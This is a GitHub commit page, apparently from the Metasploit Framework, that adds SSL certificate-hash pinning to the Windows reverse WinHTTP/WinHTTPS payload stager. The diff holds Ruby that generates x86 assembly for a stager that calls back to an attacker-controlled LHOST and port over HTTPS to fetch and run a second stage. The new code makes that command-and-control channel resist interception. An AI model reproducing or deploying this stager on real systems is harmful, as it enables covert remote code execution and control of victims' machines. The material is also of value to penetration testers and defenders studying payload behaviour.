Skip to content

Commit

Permalink
Adds StagerVerifySSLCert support (SHA1 of HandlerSSLCert)
Browse files Browse the repository at this point in the history
  • Loading branch information
HD Moore committed Mar 14, 2015
1 parent 1159380 commit 03019cf
Show file tree
Hide file tree
Showing 2 changed files with 156 additions and 10 deletions.
107 changes: 99 additions & 8 deletions lib/msf/core/payload/windows/reverse_winhttp.rb
Original file line number Diff line number Diff line change
Expand Up @@ -104,18 +104,29 @@ def asm_generate_wchar_array(str)
def asm_reverse_winhttp(opts={})


verify_ssl = nil
encoded_cert_hash = nil

#
# options should contain:
# ssl: (true|false)
# url: "/url_to_request"
# host: [hostname]
# port: [port]
# exitfunk: [process|thread|seh|sleep]
# options can contain contain:
# ssl: (true|false)
# url: "/url_to_request"
# host: [hostname]
# port: [port]
# exitfunk: [process|thread|seh|sleep]
# verify_ssl: (true|false)
# verify_cert_hash: (40-byte SHA1 hash)
#

encoded_url = asm_generate_wchar_array(opts[:url])
encoded_host = asm_generate_wchar_array(opts[:host])

if opts[:ssl] && opts[:verify_cert] && opts[:verify_cert_hash]
verify_ssl = true
encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",")
end


http_open_flags = 0

if opts[:ssl]
Expand All @@ -137,7 +148,20 @@ def asm_reverse_winhttp(opts={})
push esp ; Push a pointer to the "winhttp" string
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "winhttp" )
^

if verify_ssl
asm << %Q^
load_crypt32:
push 0x00323374 ; Push the string 'crypt32',0
push 0x70797263 ; ...
push esp ; Push a pointer to the "crypt32" string
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "wincrypt" )
^
end

asm << %Q^
set_retry:
push.i8 6 ; retry 6 times
pop edi
Expand Down Expand Up @@ -215,7 +239,7 @@ def asm_reverse_winhttp(opts={})
push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" )
call ebp
test eax,eax
jnz receive_response ; if TRUE call WinHttpReceiveResponse API
jnz check_response ; if TRUE call WinHttpReceiveResponse API
try_it_again:
dec edi
Expand All @@ -237,10 +261,77 @@ def asm_reverse_winhttp(opts={})
^
end

# Jump target if the request was sent successfully
asm << %Q^
check_response:
^

# Verify the SSL certificate hash
if verify_ssl

asm << %Q^
ssl_cert_get_context:
push.i8 4
mov ecx, esp ; Allocate &bufferLength
push.i8 0
mov ebx, esp ; Allocate &buffer (ebx will point to *pCert)
push ecx ; &bufferLength
push ebx ; &buffer
push.i8 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT)
push esi ; hHttpRequest
push 0x272F0478 ; hash( "winhttp.dll", "WinHttpQueryOption" )
call ebp
test eax, eax ;
jz failure ; Bail out if we couldn't get the certificate context
; ebx
ssl_cert_allocate_hash_space:
push.i8 20 ;
mov ecx, esp ; Store a reference to the address of 20
sub esp,[ecx] ; Allocate 20 bytes for the hash output
mov edi, esp ; edi will point to our buffer
ssl_cert_get_server_hash:
push ecx ; &bufferLength
push edi ; &buffer (20-byte SHA1 hash)
push.i8 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID)
push [ebx] ; *pCert
push 0xC3A96E2D ; hash( "crypt32.dll", "CertGetCertificateContextProperty" )
call ebp
test eax, eax ;
jz failure ; Bail out if we couldn't get the certificate context
ssl_cert_start_verify:
call ssl_cert_compare_hashes
db #{encoded_cert_hash}
ssl_cert_compare_hashes:
pop ebx ; ebx points to our internal 20-byte certificate hash (overwites *pCert)
; edi points to the server-provided certificate hash
push.i8 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times
pop ecx ;
mov edx, ecx ; Keep a reference to 4 in edx
ssl_cert_verify_compare_loop:
mov eax, [ebx] ; Grab the next DWORD of the hash
cmp eax, [edi] ; Compare with the server hash
jnz failure ; Bail out if the DWORD doesn't match
add ebx, edx ; Increment internal hash pointer by 4
add edi, edx ; Increment server hash pointer by 4
loop ssl_cert_verify_compare_loop
; Our certificate hash was valid, hurray!
ssl_cert_verify_cleanup:
xor ebx, ebx ; Reset ebx back to zero
^
end

asm << %Q^
receive_response:
; The API WinHttpReceiveResponse needs to be called
; first to get a valid handler for WinHttpReadData
; first to get a valid handle for WinHttpReadData
push ebx ; Reserved (NULL) [2]
push esi ; Request handler returned by WinHttpSendRequest [1]
push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" )
Expand Down
59 changes: 57 additions & 2 deletions lib/msf/core/payload/windows/reverse_winhttps.rb
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@

require 'msf/core'
require 'msf/core/payload/windows/reverse_winhttp'
require 'rex/parser/x509_certificate'

module Msf

Expand All @@ -17,6 +18,17 @@ module Payload::Windows::ReverseWinHttps

include Msf::Payload::Windows::ReverseWinHttp

#
# Register reverse_winhttps specific options
#
def initialize(*args)
super
register_advanced_options(
[
OptBool.new('StagerVerifySSLCert', [true, 'Whether to verify the SSL certificate hash in the handler', false])
], self.class)
end

#
# Generate and compile the stager
#
Expand All @@ -37,26 +49,69 @@ def generate_reverse_winhttps(opts={})
#
def generate

verify_cert = false
verify_cert_hash = nil

if datastore['StagerVerifySSLCert']
unless datastore['HandlerSSLCert']
raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured"
else
verify_cert = true
hcert = Rex::Parser::X509Certificate.parse_pem_file(datastore['HandlerSSLCert'])
unless hcert and hcert[0] and hcert[1]
raise ArgumentError, "Could not parse a private key and certificate from #{datastore['HandlerSSLCert']}"
end
verify_cert_hash = Rex::Text.sha1_raw(hcert[1].to_der)
print_status("Stager will verify SSL Certificate with SHA1 hash #{verify_cert_hash.unpack("H*").first}")
end
end

# Generate the simple version of this stager if we don't have enough space
if self.available_space.nil? || required_space > self.available_space

if datastore['StagerVerifySSLCert']
raise ArgumentError, "StagerVerifySSLCert is enabled but not enough payload space is available"
end

return generate_reverse_winhttps(
ssl: true,
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_small_uri)
url: generate_small_uri,
verify_cert: verify_cert,
verify_cert_hash: verify_cert_hash)
end

conf = {
ssl: true,
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_uri,
exitfunk: datastore['EXITFUNC']
exitfunk: datastore['EXITFUNC'],
verify_cert: verify_cert,
verify_cert_hash: verify_cert_hash
}

generate_reverse_winhttps(conf)
end

#
# Determine the maximum amount of space required for the features requested
#
def required_space
space = super

# SSL support adds 20 bytes
space += 20

# SSL verification adds 120 bytes
if datastore['StagerVerifySSLCert']
space += 120
end

space
end

end

end
Expand Down

0 comments on commit 03019cf

Please sign in to comment.